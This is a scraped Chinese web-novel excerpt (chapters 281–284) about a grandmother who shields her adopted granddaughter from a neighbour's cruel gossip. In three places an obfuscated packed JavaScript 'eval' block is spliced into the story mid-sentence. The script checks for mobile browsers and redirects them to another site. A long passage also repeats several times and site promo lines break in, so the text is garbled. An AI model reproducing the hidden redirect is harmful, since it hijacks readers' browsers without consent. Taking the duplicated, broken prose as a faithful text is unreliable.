“真的吗?”小桃子的眼睛闪闪发光了。 “当然是真的!”姜海棠笑着点头,给予肯定。 何婉仪笑着把粉紫色的毛线放到小桃子手里让她摸摸。 “小桃子,等奶奶先给小宝宝织好这件小的,就开始织小桃子这件大的,好不好呀?” “那……那奶奶织的时候,小桃子可以帮忙吗?” 小桃子抱着那团软软的毛线,大眼睛亮晶晶的,这次不再是忐忑的试探,而是纯粹的、想要参与的快乐。 “当然可以!”何婉仪重新拿起给小宝宝织的那件小毛衣,指了指旁边放毛线球的小筐,“小桃子就帮奶奶管好这些毛线球,别让它们滚到地上,也别让它们打架缠在一起,好不好?这可是很重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16133097|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要的任务呢!” “好!”小桃子响亮地回答,立刻把小筐拉到自己面前,像守护宝藏一样,用小手把几个毛线球摆得整整齐齐,神情专注而认真。 她不再觉得自己是多余的、笨拙的,她是被奶奶和妈妈需要的小帮手,是拥有“最大最漂亮毛衣”的小姐姐! 姜海棠看着这一幕,眼眶温热。 以后,对于小桃子要多关注一点,这个孩子,因为之前的经历,实在是太敏感了。 “妈,谢谢您!”姜海棠十分感谢婆婆,没有因为小桃子不是亲孙子就薄待,如不然,还真不好化解小家伙心里的疙瘩。 何婉仪抬头,有些惊讶:“怎么突然说这个?“ “就是……谢谢您对我,还有小桃子都这么好。“姜海棠有些不好意思。 何婉仪放下手中的毛线,握住儿媳的手:“傻孩子,咱们是一家人啊。小桃子说是不是啊。” 小桃子立即点头说:“是哒,妈妈,我们都是一家人,老师说,相亲相爱的一家人哦!” 晚上,姜海棠提出带小桃子睡。 原本以为小桃子会很高兴,却没想到,小桃子坚 决表示要跟着奶奶睡。 “为什么呀,小桃子?” “因为奶奶说,她过几天就要走了,小桃子要很久很久见不到奶奶,这几天都要跟着奶奶睡哦!” “哎呦,奶奶的小乖乖啊,果然是最贴心的,走咱们睡觉去了。”何婉仪抱着小桃子睡觉去了。 躺在床上,姜海棠对陆良辰说:“妈真好,如果不是她和家里人都真心喜欢小桃子,我简直不敢想象,小桃子会有多么难过。” 她将今天发生的事对陆良辰说了一遍。 陆良辰搂住妻子:“妈一直很喜欢孙女儿,恨不得带小桃子走呢。不过,咱们以后,要多对小桃子关心一些,免得这孩子被别人挑拨了。” “也不知道是谁这么可恶,竟然对孩子说这种话!”姜海棠对于这种人,都不知道该说什么了。 第二天是周日,陆良辰不上班,决定带何婉仪去金城有名的五泉山公园逛逛。 小桃子兴奋得不得了,早早起来自己穿好衣服,还帮奶奶挑了一顶帽子。 “奶奶,山上可漂亮了!有好多花花,还有小松鼠!”小桃子手舞足蹈地描述。 何婉仪笑着整理她的小辫子:“那奶奶可要好好看看。” “小桃子,你去的时候是夏天,有花还有小松鼠,可现在是冬天,可没有花哦!”姜海棠提前给小家伙打了预防针,省得小家伙去了之后,心情不好。 “奶奶,没有花花怎么办?” “有的,有我们的小桃子花花呢。”何婉仪捧着小桃子的小脸蛋说道。 小桃子指着自己的小脸问:“奶奶,这是小桃子花花吗?” 何婉仪郑重地点头:“在奶奶心里,这才是最漂亮的花花。” 小桃子想了好一会儿,忽然开口说道:“那我以后改名字叫桃花好不好?” 第282章 小桃子改名字 陆良辰正在喝水,忽然听到闺女这句话,差点被水呛了。 “小桃子,这个名字……你真的想要?” 虽然说,大俗即大雅,但这也太俗了一点点吧? 小桃子可不觉得,反而郑重其事地点头。 这下,就连何婉仪都无话可说了。 早知道小家伙会这么想的话,她就不说小桃子花了,现在,这么漂亮的小孙女要换成这个名字,以后可怎么办啊? 她看向儿子和儿媳妇的眼神十分抱歉。 她真的错了! “小桃子,妈妈觉得,小桃子这个名字就挺好的,小桃子花花,是奶奶一个人的花花不好吗?”姜海棠想了想,找到了一个劝闺女不要改名字的方向。 小桃子想了好一会儿,问何婉仪:“奶奶要小桃子只做奶奶一个人的花花吗?” 何婉仪立即郑重点头:“当然了,奶奶的唯一,好棒啊!” 何婉仪这次表现得超级夸张。 果然,小家伙满意了。 倒是姜海棠想起来重要的事,问陆良辰:“小桃子的大名是不是该定下了?” 之前,其实一直在考虑这件事,陆良辰想着,女儿是田良程唯一的骨血,如果改了名字会不会更好,但现在,不改名字只怕对孩子不好。 或许,小桃子再大一点点,还会有人挑拨说是因为他们根本对她不好,才不让她改名字。 “改了吧,以后就姓陆,叫幼薇怎么样?” 何婉仪听了,十分赞成:“这个名字好,陆幼薇。小桃子想不想要这个名字啊?” 小桃子听了,拍着小巴掌说:“小桃子有新名字了,以后就叫陆幼薇了。那我还是小桃子吗?” “当然是小桃子了,爸爸妈妈叫你小桃子,上学之后,老师叫你陆幼薇。” 小桃子满意了,拍着小巴掌欢呼。 何婉仪说:“我想把小桃子带回北京住一段时间。你们现在工作忙,海棠又怀着孕,照顾孩子太辛苦。我先带着小桃子回去,让小桃子和大院里的孩子们一起读书,提前适应。” 姜海棠迟疑了,她和陆良辰对视一眼,还没回答,小桃子先抬起头:“我要和奶奶去北京吗?能看到太爷爷和哥哥们吗?” 何婉仪点头:“当然能,太爷爷可想你了。你还可以和哥哥们一起上学,一起玩。” 小桃子眼睛一亮,转向父母:“爸爸,妈妈,我可以去吗?” “小桃子,你真的愿意去,不会因为想念爸爸妈妈哭鼻子?”陆良 辰蹲下来和小桃子平视问道。 小桃子迟疑了。 她看着爸爸妈妈,再看看奶奶,陷入了深深的纠结。 “没事,咱们不着急,奶奶走之前,小桃子都可以考虑。” “我想要奶奶,爷爷、哥哥、太爷爷,我也想要爸爸妈妈……” “要不然,小桃子先跟着奶奶去住一个月,要是想念爸爸妈妈了,再回来好不好?”何婉仪继续问。 小桃子想了想,竟然点头了:“好,小桃子是大孩子了,不会哭的哦!” 姜海棠有些犹豫:“妈,这太麻烦您了……” “不麻烦,”何婉仪坚定地说,“家里有保姆帮忙,还有爱国几个和小桃子玩。” 陆良辰看出妻子的不舍,轻声说:“不用太担心,你生孩子之前,我们就回到京城去,小桃子和我们分别也不会太长时间。 一家人商量好了这么大的事之后,欢欢喜喜去爬山了,不过,因为姜海棠的身体关系,他们其实只是在山底下转了一圈。 回家的路上,小桃子走累了,陆良辰便背着她。 小家伙趴在爸爸背上,不一会儿就睡着了。 何婉仪看着儿子背着孙女的背影,轻声对姜海棠说:“良辰小时候,他爸爸也经常这样背他。一转眼,这臭小子也开始背着自己的孩子了。” 姜海棠微笑:“小桃子很黏他呢,有时候我都嫉妒。” “你把她教育得很好,”何婉仪真诚地说,“又聪明又懂事,还这么活泼开朗。” 姜海棠摇头:“是她天性如此。她是烈士的女儿,骨子里就是好孩子。” 何婉仪拍拍儿媳的手:“血缘不重要,重要的是爱。看得出来,你们给了她满满的爱。以后,她叫陆幼薇,是我们陆家第一个女孩子,必定是被当成宝贝一样呵护照顾。” 晚上,何婉仪再次展示了她精湛的厨艺,做了一桌色香味俱全的菜肴。 小桃子睡醒后精神十足,围着奶奶转来转去,欢快到不行,还和何婉仪商量,到了京城之后,要去什么地方玩,要吃什么好吃的等等。 “我们去看**,去看长城,还要吃烤鸭,吃了;驴打滚,吃糖葫芦……” 小桃子听得口水都要流出来了,惹得大人们直笑。 吃饭时,陆良辰说起厂里的工作:“最近接了个大订单,可能要忙一阵子。海棠那边也不轻松,机械厂的新图纸正在关键阶段。” 何婉仪皱眉:“工作再重要也没有身体重要。海棠,你现在最需要休息 。良辰,你可并不能因为这是你媳妇,就不照顾她,让她受委屈。” 这话陆良辰还真不好回答,姜海棠忙说道:“妈,我没事的。医生说了,适当工作反而对孕妇有好处。而且我很注意,不会勉强自己。” 陆良辰也帮腔:“是啊妈,海棠很注意的。我虽然不好特殊照顾她,但肯定不会让她干重活。” 何婉仪其实也清楚,儿子是厂长,必定不能特殊照顾儿媳妇。 她瞪了一眼儿子说:“早知道就不让你媳妇在纺织厂上班了。” “哎呦,我的妈,这话可不能让其他人听到,要是传到**厂长耳朵里,今天就能来挖人。” 姜海棠都没忍住笑出声了,气氛轻松起来。 何婉仪也不再坚持,只是说:“总之要量力而行,有不舒服立刻休息。” 饭后,何婉仪又开始给未出生孩子准备做小衣服。 “妈,我慢慢做就行,您别太累了。” 何婉仪做的这几件衣服针脚细密、面料柔软,很适合小孩子穿。 “累什么呀,不累,等我回去了,把几个臭小子之前穿过的衣服洗一下给你们寄过来。” 小桃子也凑过来,小心翼翼地摸着小衣服,突然问:“妈妈,小宝宝什么时候出来呀?” 姜海棠算了算:“大概秋天,等苹果熟了的时候。” “那我可以带小宝宝去公园看花花吗?他为什么不能早一点出来呢?我就可以带着她去看花花了。” “等明年就可以带着小宝宝去看花了哦。”姜海棠亲了亲女儿的额头,“到时候你就是大姐姐了,要照顾小宝宝哦。” 小桃子挺起胸膛:“我会的!我给小宝宝讲故事,教他认花花!” 何婉仪看着这一幕,眼里满是欣慰。 夜深了,小桃子已经在奶奶的故事声中睡着。 何婉仪轻轻给她掖好被角,打算到客厅里喝水的何婉仪看见姜海棠还在客厅里整理文件。 “这么晚了还不休息?”何婉仪轻声问。 姜海棠抬头笑笑:“马上就好。妈,您先去睡吧。” 何婉仪坐下来:“我陪你一会儿。这些是工作上的文件?” “嗯,下周要用的。”姜海棠合上文件夹。 何婉仪点头:“我们那个年代,女性能有自己事业的很少,看到你现在这样,妈很为你骄傲。” 姜海棠有些惊讶:“您不觉得我应该多顾家吗?” “顾家固然重要,但女人也该有自己的天地。”何 婉仪认真地说,“我们家不需要儿媳妇为了家庭放弃自己的事业,海棠,你只管搞事业,妈会一直支持你。” 姜海棠感激地点头:“谢谢妈。” “好了,快去睡吧。”何婉仪站起身,“我们明天包饺子。” 姜海棠笑着应了,收拾好文件回房。 躺在床上,她想着婆婆这几天无微不至的照顾,心里暖暖的。 虽然一开始还有些拘谨,但现在她真切地感受到了何婉仪对她的关爱,那是一种近乎母爱的情感。 她开始期待,调回京城的日子了。 和家里人住在一起似乎也不错。 陆良辰看到姜海棠若有所思,问道:“你想什么呢?海棠。” “我在想,等以后我们回到京城,和大家住在一起也不错。” “海棠,我们其实还可以选择住在姜爷爷那边。” 姜海棠不敢相信听到了什么。 “良辰,你是认真的?” “姜爷爷只有你一个亲人,如果能陪着他老人家,对于老人家的身体健康或许有好处。” 姜海棠感动得不得了,将脑袋窝在陆良辰的怀里:“我以为,你不会愿意的。” “早些年,我爷爷差点儿把我送给姜爷爷当孙子,真没想到,孙子没当成,到了最后,当了孙女婿,我们跟着姜爷爷一起住,爷爷也能放心。” 婉仪认真地说,“我们家不需要儿媳妇为了家庭放弃自己的事业,海棠,你只管搞事业,妈会一直支持你。” 姜海棠感激地点头:“谢谢妈。” “好了,快去睡吧。”何婉仪站起身,“我们明天包饺子。” 姜海棠笑着应了,收拾好文件回房。 躺在床上,她想着婆婆这几天无微不至的照顾,心里暖暖的。 虽然一开始还有些拘谨,但现在她真切地感受到了何婉仪对她的关爱,那是一种近乎母爱的情感。 她开始期待,调回京城的日子了。 和家里人住在一起似乎也不错。 陆良辰看到姜海棠若有所思,问道:“你想什么呢?海棠。” “我在想,等以后我们回到京城,和大家住在一起也不错。” “海棠,我们其实还可以选择住在姜爷爷那边。” 姜海棠不敢相信听到了什么。 “良辰,你是认真的?” “姜爷爷只有你一个亲人,如果能陪着他老人家,对于老人家的身体健康或许有好处。” 姜海棠感动得不得了,将脑袋窝在陆良辰的怀里:“我以为,你不会愿意的。” “早些年,我爷爷差点儿把我送给姜爷爷当孙子,真没想到,孙子没当成,到了最后,当了孙女婿,我们跟着姜爷爷一起住,爷爷也能放心。” 婉仪认真地说,“我们家不需要儿媳妇为了家庭放弃自己的事业,海棠,你只管搞事业,妈会一直支持你。” 姜海棠感激地点头:“谢谢妈。” “好了,快去睡吧。”何婉仪站起身,“我们明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16133098|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天包饺子。” 姜海棠笑着应了,收拾好文件回房。 躺在床上,她想着婆婆这几天无微不至的照顾,心里暖暖的。 虽然一开始还有些拘谨,但现在她真切地感受到了何婉仪对她的关爱,那是一种近乎母爱的情感。 她开始期待,调回京城的日子了。 和家里人住在一起似乎也不错。 陆良辰看到姜海棠若有所思,问道:“你想什么呢?海棠。” “我在想,等以后我们回到京城,和大家住在一起也不错。” “海棠,我们其实还可以选择住在姜爷爷那边。” 姜海棠不敢相信听到了什么。 “良辰,你是认真的?” “姜爷爷只有你一个亲人,如果能陪着他老人家,对于老人家的身体健康或许有好处。” 姜海棠感动得不得了,将脑袋窝在陆良辰的怀里:“我以为,你不会愿意的。” “早些年,我爷爷差点儿把我送给姜爷爷当孙子,真没想到,孙子没当成,到了最后,当了孙女婿,我们跟着姜爷爷一起住,爷爷也能放心。” 婉仪认真地说,“我们家不需要儿媳妇为了家庭放弃自己的事业,海棠,你只管搞事业,妈会一直支持你。” 姜海棠感激地点头:“谢谢妈。” “好了,快去睡吧。”何婉仪站起身,“我们明天包饺子。” 姜海棠笑着应了,收拾好文件回房。 躺在床上,她想着婆婆这几天无微不至的照顾,心里暖暖的。 虽然一开始还有些拘谨,但现在她真切地感受到了何婉仪对她的关爱,那是一种近乎母爱的情感。 她开始期待,调回京城的日子了。 和家里人住在一起似乎也不错。 陆良辰看到姜海棠若有所思,问道:“你想什么呢?海棠。” “我在想,等以后我们回到京城,和大家住在一起也不错。” “海棠,我们其实还可以选择住在姜爷爷那边。” 姜海棠不敢相信听到了什么。 “良辰,你是认真的?” “姜爷爷只有你一个亲人,如果能陪着他老人家,对于老人家的身体健康或许有好处。” 姜海棠感动得不得了,将脑袋窝在陆良辰的怀里:“我以为,你不会愿意的。” “早些年,我爷爷差点儿把我送给姜爷爷当孙子,真没想到,孙子没当成,到了最后,当了孙女婿,我们跟着姜爷爷一起住,爷爷也能放心。” 婉仪认真地说,“我们家不需要儿媳妇为了家庭放弃自己的事业,海棠,你只管搞事业,妈会一直支持你。” 姜海棠感激地点头:“谢谢妈。” “好了,快去睡吧。”何婉仪站起身,“我们明天包饺子。” 姜海棠笑着应了,收拾好文件回房。 躺在床上,她想着婆婆这几天无微不至的照顾,心里暖暖的。 虽然一开始还有些拘谨,但现在她真切地感受到了何婉仪对她的关爱,那是一种近乎母爱的情感。 她开始期待,调回京城的日子了。 和家里人住在一起似乎也不错。 陆良辰看到姜海棠若有所思,问道:“你想什么呢?海棠。” “我在想,等以后我们回到京城,和大家住在一起也不错。” “海棠,我们其实还可以选择住在姜爷爷那边。” 姜海棠不敢相信听到了什么。 “良辰,你是认真的?” “姜爷爷只有你一个亲人,如果能陪着他老人家,对于老人家的身体健康或许有好处。” 姜海棠感动得不得了,将脑袋窝在陆良辰的怀里:“我以为,你不会愿意的。” “早些年,我爷爷差点儿把我送给姜爷爷当孙子,真没想到,孙子没当成,到了最后,当了孙女婿,我们跟着姜爷爷一起住,爷爷也能放心。” 婉仪认真地说,“我们家不需要儿媳妇为了家庭放弃自己的事业,海棠,你只管搞事业,妈会一直支持你。” 姜海棠感激地点头:“谢谢妈。” “好了,快去睡吧。”何婉仪站起身,“我们明天包饺子。” 姜海棠笑着应了,收拾好文件回房。 躺在床上,她想着婆婆这几天无微不至的照顾,心里暖暖的。 虽然一开始还有些拘谨,但现在她真切地感受到了何婉仪对她的关爱,那是一种近乎母爱的情感。 她开始期待,调回京城的日子了。 和家里人住在一起似乎也不错。 陆良辰看到姜海棠若有所思,问道:“你想什么呢?海棠。” “我在想,等以后我们回到京城,和大家住在一起也不错。” “海棠,我们其实还可以选择住在姜爷爷那边。” 姜海棠不敢相信听到了什么。 “良辰,你是认真的?” “姜爷爷只有你一个亲人,如果能陪着他老人家,对于老人家的身体健康或许有好处。” 姜海棠感动得不得了,将脑袋窝在陆良辰的怀里:“我以为,你不会愿意的。” “早些年,我爷爷差点儿把我送给姜爷爷当孙子,真没想到,孙子没当成,到了最后,当了孙女婿,我们跟着姜爷爷一起住,爷爷也能放心。” 第283章 听到闲话 接下来的日子陆家的小院成了整个家属院最热闹的地方之一。 邻居和同事们得知何婉仪来了少不得要来串门道贺。 何婉仪虽然是京城来的但是人很随和并没有架子对那些登门道贺的人都很和蔼。 纺织厂家属院的日子像厂里织布机上的棉线细密、规律中也会有些小疙瘩。 何婉仪的到来无疑给陆家小院也给这略显单调的家属区注入了一股鲜活。 这位从京城来的夫人没有想象中的架子。她穿着洗得发白的列宁装袖口磨得起了毛边脚上是千层底的黑布鞋头发一丝不苟地梳在脑后用最普通的黑色发卡固定。 她总是提着个半旧的旅行袋笑容像秋阳一样和煦温暖瞬间就拉近了与周围人的距离。 过了正月初七凡有点交情的都提着点东西上门了。 王婶送来一小坛子自家腌的脆萝卜张工带来半斤珍贵的白糖票李大姐则是一小包炒得喷香的花生米……都是沉甸甸的心意。 何婉仪热情地招呼着每一位客人她拿出从京城带来的茯苓饼、小麻花用搪瓷盘子装了挨个请人品尝。 她坐在小马扎上和大家唠着家常讲京城的新鲜事也认真倾听家属院里的人情冷暖。 她夸王婶腌的萝卜地道爽口赞李大姐炒花生的火候掌握得恰到好处。 她温和又亲切很快赢得了大家的好感。 “陆厂长家的老太太真是和气!” “一点官太太的架子都没有说话在理听着就舒服。” “到底是京城来的见识广说话也有水平。” 厂里本来就是女人多的地方闲话自然也多这一次基本上是众口一词的夸奖。 赞誉声在小院里外悄然流传。 小桃子成了奶奶最忠实的小尾巴。 奶奶择菜她就搬个小板凳坐在旁边学着把烂叶子挑出来; 奶奶扫地她就拿着比她人还高一点的小扫帚在角落里像模像样地划拉; 奶奶坐在门口织毛衣她就依偎在奶奶腿边小手笨拙地学着绕毛线。 何婉仪从不嫌烦总是她耐心地教孙女。 “小桃子看菜要这样掰开脏东西藏在里面呢。” “扫帚要这样拿手腕用力。” “毛线要轻轻绕 每当小桃子完成一点小小的“任务”哪怕只是把一片菜叶放对了地方或者把一小撮灰 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 尘扫到了簸箕边,何婉仪都会毫不吝啬地给予最真诚的夸奖:“哎哟,我们小桃子真棒!真是奶奶的小帮手! “看,有我们小桃子帮忙,奶奶省了多少力气! 姜海棠透过窗户看着祖孙俩温馨互动的身影,心头百感交集。 女儿那点因自己怀孕而产生的不安,她这个做母亲的怎么会察觉不到?小桃子拼命想证明自己的价值,小心翼翼的模样,让她心疼又酸楚。 此刻,看着婆婆用无微不至的耐心和鼓励,小心翼翼地呵护着女儿敏感的心灵,姜海棠的眼眶忍不住发热。 她放下手中机械厂新产品的设计图纸,走到门口,柔声唤道:“小桃子,来帮妈妈一个忙好不好? 小桃子像只欢快的小鹿,立刻从奶奶身边蹦起来:“妈妈,要我做什么? “帮妈妈把桌子擦干净,妈妈要画图了。姜海棠递给她一块干净的湿抹布。 “好!小桃子接过抹布,仿佛接到了神圣的使命。 她踮着脚,小手用力地擦拭着桌面,每一个角落都一丝不苟。 虽然抹布在她手里显得太大,擦过的地方留下一道道不规则的水痕,甚至把桌上的铅笔都推到了地上,但那全神贯注、郑重其事的认真劲儿,让姜海棠的心软成了一汪春水。 她走过去,蹲下身,轻轻搂住女儿:“谢谢小桃子,擦得真干净!妈妈可以安心工作了。 她亲了亲女儿光洁的额头,感受着那份依赖。 “我们小桃子真是妈妈最贴心的小棉袄。 小桃子依偎在妈妈怀里,小脸上洋溢着被需要的满足感,先前那点阴霾似乎又被驱散了些,笑容明媚而灿烂。 她仰起脸,乌溜溜的大眼睛里闪烁着坚定的光芒:“妈妈,我会照顾好小宝宝的,我是姐姐! “嗯,妈妈相信你,姜海棠温柔地回应,“我们小桃子一定会是世界上最棒的姐姐。 小姑娘笑得欢畅。 这天下午,家里的水龙头有点漏水,还没有修好,何婉仪带着小桃子去家属区公用的水龙头边洗菜。 那是几排水泥砌成的长条水槽,上面间隔装着几个生锈的水龙头。 这里是家属院妇女们日常交流的地方,何婉仪和这些人并不是很熟悉,只找了个靠边的位置,拿出带来的青菜,耐心地教小桃子。 “小桃子,看,先把根上的泥冲掉,然后一片一片叶子掰开,在水里轻轻晃,把藏在里面的小虫子和小沙子都洗出来…… 小桃子 你的朋友正在书荒,快去帮帮他吧 学得很认真,小手在冰凉的水里摸索着,小脸因为用力而微微泛红。 何婉仪一边指导,一边自己也洗着。 旁边几个洗衣服、洗菜的妇女正聊得热闹。 话题从厂里的生产指标,扯到了谁家的孩子有出息,又拐到了新上映的电影。 气氛原本十分融洽。 直到王大妈加入了进来。 王大妈是家属院里出了名的“快嘴”,心思活络,但说话有时不太顾及场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16140280|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合和分寸。 她丈夫是厂里一个老资历的车间主任,早两年,气势磅礴想着弄个副厂长,结果,后来来了一个陆良辰,陆良辰爬到厂长的岗位上,又提拔起来一个毛头小子赵凯。 王大妈自此心里一直憋着股气,瞧见何婉仪带着小桃子,立即阴阳怪气起来。 “……要我说啊,这年头,还是得自己有亲生的才心疼!你看有些人家,看着心善养个别人的孩子,可还不是当成小丫头一样的?” 她说着,眼神有意无意地瞟向正在认真洗菜的小桃子。 旁边一个妇女觉得这话有点刺耳,低声说:“王嫂子,这话说得……” 王大妈却不以为意,反而提高了音量,像是故意要说给谁听:“咋?我说错了吗?你瞅瞅,谁家这么小的孩子就洗菜的?还不是因为儿媳妇怀上了,就不把这个收养的丫头当成人了。” “这抱来的丫头因为养母怀上了,心里发慌,这两天你们没看见?跟个小哈巴狗似的粘着奶奶,啥活都抢着干,生怕人家不要她了呗!啧啧,可怜见的……” “轰”的一声!何婉仪只觉得一股热血直冲头顶,耳边嗡嗡作响。 她洗菜的手猛地僵住了,指甲深深掐进了菜梗里。 原来,根源在这里呢,难怪小桃子总是那样战战兢兢,生怕他们不要她。 她猛地转过头,一双眸子锁定了唾沫横飞的王大妈。 脸上那惯常的和煦笑容消失得无影无踪,取而代之的是山雨欲来的冰冷和愤怒。 她“啪”的一声将手里那棵洗了一半的青菜重重摔回盆里,浑浊的水溅湿了她的裤脚也浑然不觉。 何婉仪豁然起身,几步就跨到了王大妈面前。 她个子不算高,但此刻挺直的脊背和凛然的气势,让周围的人瞬间感到了强烈的压迫感。 要知道,何婉仪从到了厂里,一贯都是老好人形象,众人知道的何婉仪,就是个只会笑的和善人。 但现在的何婉仪,让大家都觉得害怕。 那通身的气派,看得人忍不住不寒而栗。 何婉仪的声音不高,却像淬了冰的刀子,每一个字都带着千钧之力,清晰地砸在在场每一个人的心上: “你刚才说什么?!你再说一遍给我听听!” 喧闹的水龙头边瞬间死寂,所有洗刷的动作都停了下来。 王大妈被何婉仪的气势慑得一哆嗦,盆里的水晃荡出来湿了鞋面。 她强自镇定,色厉内荏地梗着脖子:“我……我说什么了?我这不是……不是闲聊嘛……大家伙儿都这么说的……” “闲聊?大家伙儿都是这么说的?”何婉仪的声音陡然拔高,“那我倒是要请教一下,还有谁这么说的?” “就是,就是……”王大妈不由怂了。 第284章 维护宝贝 “说这话的人,是什么居心?一个烈士的孩子,一个用生命保护过你们的人的遗孤,你们是如何忍心往她的心窝子里捅刀子的?” 周围的人这会儿都觉得无言看小桃子了。 这小姑娘,可是烈士的遗孤啊,她们怎么能在背后讨论小桃子? 王大妈其实已经很怕了,但人怕的时候,反而会胡说八道。 “要不是你们根本没有当这个孩子是自家娃,为啥不给她改名字?就这么小桃子小桃子的叫着?” 何婉仪锐利的目光死死盯着王大妈躲闪的眼睛,一字一句,掷地有声:“我们家小桃子,大名陆幼薇!是上了户口本、入了我们老陆家族谱、正正经经、堂堂正正的陆家孩子!” “是我儿子陆良辰、儿媳妇姜海棠收养的烈士遗孤!是他们捧在心尖尖上、视若己出的闺女!更是我何婉仪和我家老爷子放在心窝子里疼的宝贝!以后,我不想听这种挑拨离间的下作手段!” 她越说越激动,胸膛剧烈起伏,手指因为愤怒而微微颤抖。 “在我们老陆家,小桃子即便不是亲生,也比亲生的还要亲!她是我们全家的骄傲!是**烈士田良程同志留在这世上最珍贵的血脉!她帮奶奶干活,那是孩子的一片孝心!是她喜欢奶奶,亲近奶奶!到你嘴里怎么就变得那么腌臜不堪了?!说这些话的人安的什么心?!” 何婉仪的声音如同洪钟,引来了更远处路人的驻足。 她环视着周围噤若寒蝉、面露愧色的妇女们,知道这些女人就算没有当着小桃子的面嚼舌根,估计背后也说三道四过。 “今天我何婉仪就把话撂在这儿!谁要是再敢嚼这种陈腐恶毒的舌根,说我孙女半句不是,挑拨我们祖孙、父女、母女的骨肉亲情,那就是在破坏社会主义家庭的稳定,别怪我何婉仪不讲邻里情面!我们老陆家,上对得起国家,下对得起良心,容不得任何宵小之辈在这里兴风作浪,伤害我们的孩子!” 这番话,字字千钧,饱含着一个祖母护犊情深的滔**火,形成了一股强大的震慑力。 王大妈的脸由红转白,再由白转青,嘴唇哆嗦着,一个字也说不出来。 她感觉周围的目光像针一样刺在她身上,让她无地自容。 她真的没想到,陆家是认可小桃子的…… 那几个刚才还附和着闲聊的妇女,此刻也慌了神,连忙打圆场: “哎哟何大姐,您消消气,消消气!王嫂子她就是心直口快,没文化,嘴上没个把门的,真没坏心……” “是啊是啊,小桃子多好的孩子啊,又懂事又漂亮,我们都喜欢得紧!” “王嫂子,快别说了,赶紧给何大姐道个歉!给小桃子说几句好听的,你看你把孩子吓得……” 王大妈在众人谴责的目光和何婉仪那山岳般的气势压迫下,哪里还敢有半点硬气? 想到何婉仪的家世背景,再想到自己丈夫的前途,她肠子都悔青了。 她慌慌张张地弯腰,声音带着哭腔:“是我这张破嘴,是我糊涂!我该死!我胡说八道!何同志,您大人有大量,千万别跟我一般见识!您原谅我这一回……” 最终,王大妈连衣服都不洗了,转身落荒而逃。 何婉仪这才长长地、深深地吸了一口气,平复胸腔里翻腾的怒火。 她转过身,看到小桃子还站在原地,大眼睛里蓄满了泪水,长长的睫毛上挂着晶莹的泪珠,身体因为害怕和委屈而微微发抖。 她怯生生地望着奶奶,那眼神,像一只受惊的小鹿,充满了无助和惶恐。 何婉仪的心,像被一只无形的手狠狠攥住,痛得几乎无法呼吸。 她快步走回去,全然不顾地上的水渍,蹲下身,小心翼翼地、极其温柔地擦掉小孙女脸上的泪珠。 然后,她张开双臂,将这个小小的、颤抖的身体紧紧地、紧紧地搂进自己的怀抱里。 “小桃子不怕,有奶奶在呢。刚才那个坏奶奶说的话一个字都不许往心里去!记住奶奶的话,你是我们老陆家的心肝宝贝,是爸爸妈妈的命根子,是奶奶唯一的‘小桃子花花’!谁也不能欺负你!谁再敢胡说八道,奶奶豁出这条老命也跟他没完!奶奶说到做到!” 众人都没看到这个温柔的看着落落大方的女人会如此泼辣,一时之间除了赔笑,其实没有太多的话。 小桃子紧紧抱住奶奶的脖子,把小脸深深地埋在奶奶的颈窝里。 她虽然年龄小,却能知道,刚才奶奶在保护她。 奶奶说她是宝贝,是心肝,那她就一定是! 她用尽全身力气点头,闷闷的声音带着哭腔却无比清晰:“嗯!奶奶,小桃子记住了!小桃子是奶奶的花花,是爸爸妈妈的宝贝!” 祖孙两个菜也不洗了,何婉仪一手抱着小桃子,一手端着盆子走了。 回到家里,何婉仪眼神里还残留着未消的余怒,但语气已经缓和下来。 “妈,怎么了?”姜海棠疑惑地问道。 何婉仪将刚才发生的事情说了一遍。 姜海棠也很生气,何 婉仪怕她气坏了,说道:“有我今天闹这一场,估计后面也不会有人说什么了。” “妈,您这是破坏了自己的形象。” “为了我们就爱小桃子,形象算什么?下次听见,我直接撕了她们的嘴。有我在一天,就绝不允许任何人用这些腌臜话伤了孩子的心!” 这场发生在水龙头边的风波,如同在家属院平静的水面上投下了一块巨石,激起的涟漪迅速扩散开来。 何婉仪那护犊心切、寸步不让的强硬态度,以及她那番义正词严、分量十足的宣言,像长了腿一样,不到半天功夫就传遍了整个家属区。 尤其让众人都惊讶的是,小桃子竟然是陆家都承认的孩子。 人们谈论的焦点,不再是那几句闲言碎语的内容本身,而是何婉仪那雷霆震怒的气势,她对养孙女陆小桃子那份不容置疑的维护。 所有人都重新意识到:陆家对这个养女的爱和重视,是超越血缘的,是刻在骨子里的,是容不得半点质疑和亵渎的! 